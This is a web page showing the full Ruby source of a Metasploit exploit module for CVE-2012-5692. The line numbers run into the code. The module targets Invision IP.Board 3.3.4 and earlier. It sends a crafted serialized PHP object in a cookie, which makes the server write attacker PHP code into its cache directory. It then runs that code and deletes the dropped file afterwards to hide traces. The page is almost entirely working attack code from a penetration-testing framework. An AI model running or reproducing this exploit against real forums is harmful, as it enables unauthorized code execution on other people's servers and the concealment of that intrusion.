Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::PhpEXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Invision IP.Board unserialize() PHP Code Execution',16'Description' => %q{17This module exploits a php unserialize() vulnerability in Invision IP.Board18<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary19code under the context of the webserver user.2021The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,22which is called with user controlled data from the cookie. The exploit abuses the23__destruct() method from the dbMain class to write arbitrary PHP code to a file on24the Invision IP.Board web directory.2526The exploit has been tested successfully on Invision IP.Board 3.3.4.27},28'Author' => [29'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods30'juan vazquez', # Metasploit module31'sinn3r' # PhpEXE tekniq & check() method32],33'License' => MSF_LICENSE,34'References' => [35[ 'CVE', '2012-5692' ],36[ 'OSVDB', '86702' ],37[ 'BID', '56288' ],38[ 'EDB', '22398' ],39[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]40],41'Privileged' => false,42'Platform' => ['php'],43'Arch' => ARCH_PHP,44'Payload' => {45'Space' => 8000, # Apache's limit for GET46'DisableNops' => true47},48'Targets' => [ ['Invision IP.Board 3.3.4', {}] ],49'DefaultTarget' => 0,50'DisclosureDate' => '2012-10-25',51'Compat' => {52'Meterpreter' => {53'Commands' => %w[54stdapi_fs_delete_file55]56}57}58)59)6061register_options(62[63OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])64]65)6667self.needs_cleanup = true68end6970def base71base = target_uri.path72base << '/' if base[-1, 1] != '/'73return base74end7576def cookie_prefix77print_status("Checking for cookie prefix")78cookie_prefix = ""79res = send_request_cgi(80{81'uri' => "#{base}index.php",82'method' => 'GET'83}84)8586if res and res.code == 200 and res.get_cookies =~ /(.+)session/87print_status("Cookie prefix #{$1} found")88cookie_prefix = $189end90return cookie_prefix91end9293def check94check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')95res = send_request_cgi(96{97'uri' => "#{base}index.php",98'method' => 'GET',99'cookie' => "#{cookie_prefix}session_id=#{check_str}"100}101)102103if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/104return Exploit::CheckCode::Vulnerable105elsif res and res.code == 200106return Exploit::CheckCode::Safe107else108return Exploit::CheckCode::Unknown109end110end111112def on_new_session(client)113if client.type == "meterpreter"114client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")115begin116print_warning("Deleting #{@upload_php}")117client.fs.file.rm(@upload_php)118print_good("#{@upload_php} removed to stay ninja")119rescue120print_error("Unable to remove #{f}")121end122end123end124125def exploit126@upload_php = rand_text_alpha(rand(4) + 4) + ".php"127128# get_write_exec_payload uses a function, which limits our ability to support129# Linux payloads, because that requires a space:130# function my_cmd131# becomes:132# functionmy_cmd #Causes parsing error133# We'll have to address that in the mixin, and then come back to this module134# again later.135php_payload = get_write_exec_payload(:unlink_self => true)136php_payload = php_payload.gsub(/^\<\?php/, '<?')137php_payload = php_payload.gsub(/ /, '')138139db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"140141print_status("Exploiting the unserialize() to upload PHP code")142143res = send_request_cgi(144{145'uri' => "#{base}index.php?#{php_payload}",146'method' => 'GET',147'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"148}149)150151if not res or res.code != 200152print_error("Exploit failed: #{res.code}")153return154end155156print_status("Executing the payload #{@upload_php}")157158res = send_request_raw({ 'uri' => "#{base}cache/#{@upload_php}" })159160if res161print_error("Payload execution failed: #{res.code}")162return163end164end165end166167168